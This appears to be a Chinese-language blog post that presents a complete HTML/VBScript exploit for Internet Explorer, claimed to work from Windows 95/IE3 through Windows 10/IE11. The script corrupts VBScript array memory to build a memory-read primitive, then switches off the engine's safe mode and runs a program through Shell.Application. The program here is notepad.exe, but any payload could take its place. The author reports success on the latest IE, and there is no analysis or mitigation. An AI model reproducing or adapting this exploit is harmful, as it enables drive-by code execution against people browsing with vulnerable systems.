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win95+ie3-win10+ie11 浏览器执行漏洞

//*

   allie(win95+ie3-win10+ie11) dve
  

*//

<!doctype html>

<html>

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >

<head>

</head>

<body>

<SCRIPT LANGUAGE="VBScript">

function runmumaa() 

On Error Resume Next

set shell=createobject("Shell.Application")

shell.ShellExecute "notepad.exe"

end function

</script>

<SCRIPT LANGUAGE="VBScript">

dim   aa()

dim   ab()

dim   a0

dim   a1

dim   a2

dim   a3

dim   win9x

dim   intVersion

dim   rnda

dim   funclass

dim   myarray

Begin()

function Begin()

  On Error Resume Next

  info=Navigator.UserAgent


  if(instr(info,"Win64")>0)   then

     exit   function

  end if

  if (instr(info,"MSIE")>0)   then 

             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   

  else

     exit   function  
             
  end if

  win9x=0

  BeginInit()

  If Create()=True Then

     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)

     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then

         document.write("<br> IE")

         document.write(intVersion)

         runshellcode()                    

     else  

          setnotsafemode()

     end if

  end if

end function

function BeginInit()

   Randomize()

   redim aa(5)

   redim ab(5)

   a0=13+17*rnd(6)

   a3=7+3*rnd(5)

end function

function Create()

  On Error Resume Next

  dim i

  Create=False

  For i = 0 To 400

    If Over()=True Then

    '   document.write(i)     

       Create=True

       Exit For

    End If 

  Next

end function

sub testaa()

end sub

function mydata()

    On Error Resume Next

     i=testaa

     i=null

     redim  Preserve aa(a2)  
  
     ab(0)=0

     aa(a1)=i

     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray

     ab(2)=1.74088534731324E-310  

     mydata=aa(a1)


     redim  Preserve aa(a0)  

end function 

function setnotsafemode()

    On Error Resume Next

    i=mydata()  

    i=readmemo(i+8)

    i=readmemo(i+16)

    j=readmemo(i+&h134)  

    for k=0 to &h60 step 4

        j=readmemo(i+&h120+k)

        if(j=14) then

              j=0          

              redim  Preserve aa(a2)             

     aa(a1+2)(i+&h11c+k)=ab(4)

              redim  Preserve aa(a0)  

     j=0 

              j=readmemo(i+&h120+k)   
         
               Exit for

           end if

    next 

    ab(2)=1.69759663316747E-313

    runmumaa() 

end function

function Over()

    On Error Resume Next

    dim type1,type2,type3

    Over=False

    a0=a0+a3

    a1=a0+2

    a2=a0+&h8000000
  
    redim  Preserve aa(a0) 

    redim   ab(a0)     
  
    redim  Preserve aa(a2)
  
    type1=1

    ab(0)=1.123456789012345678901234567890

    aa(a0)=10
          

    If(IsObject(aa(a1-1)) = False) Then

       if(intVersion<4) then

           mem=cint(a0+1)*16             

           j=vartype(aa(a1-1))

           if((j=mem+4) or (j*8=mem+8)) then

              if(vartype(aa(a1-1))<>0)  Then    

                 If(IsObject(aa(a1)) = False ) Then             

                   type1=VarType(aa(a1))

                 end if               

              end if

           else

             redim  Preserve aa(a0)

             exit  function

           end if 

        else

           if(vartype(aa(a1-1))<>0)  Then    

              If(IsObject(aa(a1)) = False ) Then

                  type1=VarType(aa(a1))

              end if               

            end if

        end if

    end if
                  
    If(type1=&h2f66) Then         

          Over=True      

    End If  

    If(type1=&hB9AD) Then

          Over=True

          win9x=1

    End If  

    redim  Preserve aa(a0)          
        
end function

function ReadMemo(add) 

    On Error Resume Next

    redim  Preserve aa(a2)  
  
    ab(0)=0   

    aa(a1)=add+4     

    ab(0)=1.69759663316747E-313       

    ReadMemo=lenb(aa(a1))  
   

    ab(0)=0    

    redim  Preserve aa(a0)

end function


</script>


</body>

</html>

最新ie下测试成功。

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评论: 1 条评论,访客:1 条,博主:0 条

  • shaochenrui
    shaochenrui 发布于:  回复

    这是什么意思呢?